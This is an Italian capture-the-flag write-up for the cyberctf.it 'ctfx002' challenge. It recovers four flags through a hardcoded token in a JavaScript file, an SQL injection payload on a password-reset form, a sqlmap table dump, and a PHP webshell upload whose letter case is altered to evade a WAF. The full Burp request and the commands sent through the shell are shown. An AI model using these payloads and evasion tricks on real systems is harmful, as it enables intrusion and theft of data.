Scansioniamo con ZAP / Burp il link https://www.cyberctf.it/ctfx002/

Troviamo sotto la cartella /js il file key.js che contiene il token per accedere all'area riservata

```
var generate = function (input) {
      if(input=='key') {
        console.log('XZA0Y-JBY38-49YOP-OG413');   <----------------------
      }
}
```

Accediamo all'area riservata e otteniamo la primo flag

c7a489ec131a3838e55044071b96cd6e

Analizzando la funzione per il recupero della password notiamo che inserendo ' viene generato
un errore di sintassi SQL

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

inseriamo il payload pippo@pluto.com' or '1'='1' -- -

e otteniamo la seconda flag

```
113, Beverly Searle, b$$4ss276548
114, Jaye Sanders, dfds4s$$s36546
115, Eliot Marquez, bcx4s$s3348
116, CTF-LEVEL2, eba6234f5c59fa531d7e49cb8ec963fc   <----------------
117, Sally Mitchell, xcvss876765
118, Gerard Mcknight, jlx4ss55665
```

Usando sqlmap sul link

https://www.cyberctf.it/ctfx002/index.php?email=pippo%40pluto.com&p=pass-reset

ed eseguendo il dump delle tabelle otteniamo la terza flag

```
| 32801 | Orlando             | denise@patak.org                        | FL
| 90210 | Beverly Hills       | louvenia.beech@beech.com                | CA
| 33511 | Brandon             | audry.yaw@yaw.org                       | FL
| 79925 | El Paso             | FLAG: d87f6cb94a3e9a847e9f5dcbf91d2fdb | TX
| 92020 | El Cajon            | vzepp@gmail.com                         | CA
| 20710 | Bladensburg         | egwalthney@yahoo.com                    | MD
```

FLAG: d87f6cb94a3e9a847e9f5dcbf91d2fdb

Se guardiamo attentamente le tabelle visualizzate da sqlmap troveremo

```
+---------------------+----------------------------------+------------+
| email               | passwd                           | username   |
+---------------------+----------------------------------+------------+
| ctf@hackthebank.com | eba6234f5c59fa531d7e49cb8ec963fc | CTF-LEVEL2 |
<----------------------
+---------------------+----------------------------------+------------+
```

usiamo nella login direttamente questi valori

username: CTF-LEVEL2
password: eba6234f5c59fa531d7e49cb8ec963fc

Riusciamo ad entrare nell'area riservata dell'utente

Notiamo qui la presenza di un form per poter effettuare l'upload di una immagine del profilo.

Inoltre scansionando con dirbuster notiamo la presenza di alcuni file interessanti come

```
/index.php            (Status: 200) [Size: 11211]
/uploads              (Status: 301) [Size: 248] [-->
http://www.cyberctf.it/ctfx002/uploads/]
/assets               (Status: 301) [Size: 247] [-->
http://www.cyberctf.it/ctfx002/assets/]
/upload.php           (Status: 200) [Size: 1]

/css                  (Status: 301) [Size: 244] [-->
http://www.cyberctf.it/ctfx002/css/]
/js                   (Status: 301) [Size: 243] [-->
http://www.cyberctf.it/ctfx002/js/]
/theme                (Status: 301) [Size: 246] [-->
http://www.cyberctf.it/ctfx002/theme/]
/logout.php           (Status: 302) [Size: 0] [--> index.php]

/mod                  (Status: 301) [Size: 244] [-->
http://www.cyberctf.it/ctfx002/mod/]
```

/upload.php
/uploads

Proviamo a caricare una webshell all'interno di un'immagine. I primi tentativi sembrano mostrare
la presenza di un WAF. Il comando system viene bloccato quindi usiamo EXEC. e modifichiamo php in PHP

Richiesta BURP

```
POST /ctfx002/upload.php HTTP/2
Host: www.cyberctf.it
Cookie: firstRun=0; PHPSESSID=chui2iuhv1ibd8ldl4n0f5kfo8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
https://www.cyberctf.it/ctfx002/index.php?p=AnUiPass30293-777-OOOQ-A-dashboard
Content-Type: multipart/form-data;
boundary=---------------------------247833367713729817581579166250
Content-Length: 373
Origin: https://www.cyberctf.it
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Te: trailers

-----------------------------247833367713729817581579166250
Content-Disposition: form-data; name="Uploadf"; filename="myshell.php"
Content-Type: image/jpeg

<?PHP echo EXEC($_GET['cmd']); ?>

-----------------------------247833367713729817581579166250
Content-Disposition: form-data; name="Upload"

-----------------------------247833367713729817581579166250--



HTTP/2 200 OK
Server: aruba-proxy
Date: Sat, 22 Jan 2022 09:07:41 GMT
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
X-Servername: ipvsproxy244.ad.aruba.it

<div class='alert alert-info'>uploads/myshell.php è stato caricato con
successo!</div>


Ok la shell è stata caricata nel path uploads/myshell.php

Testiamo inviando un comando

GET /ctfx002/uploads/myshell.php?cmd=id

uid=19647716(ID19647716) gid=19647716(ID19647716) groups=19647716(ID19647716)


Risaliamo la cartella
```

GET /ctfx002/uploads/myshell.php?cmd=dir+../ e otteniamo
uploads6r626ngu59cmqb8shrfmokvg3k

GET /ctfx002/uploads/myshell.php?cmd=dir+../uploads6r626ngu59cmqb8shrfmokvg3k/
otteniamo key-181.txt loviuz-avatar.jpeg zaia.jpg

richiamiamo il file key-181.txt

GET /ctfx002/uploads6r626ngu59cmqb8shrfmokvg3k/key-181.txt

Complimenti hai trovato l' ultimo flag: 22a48f6e37a6065649e08149735d71c0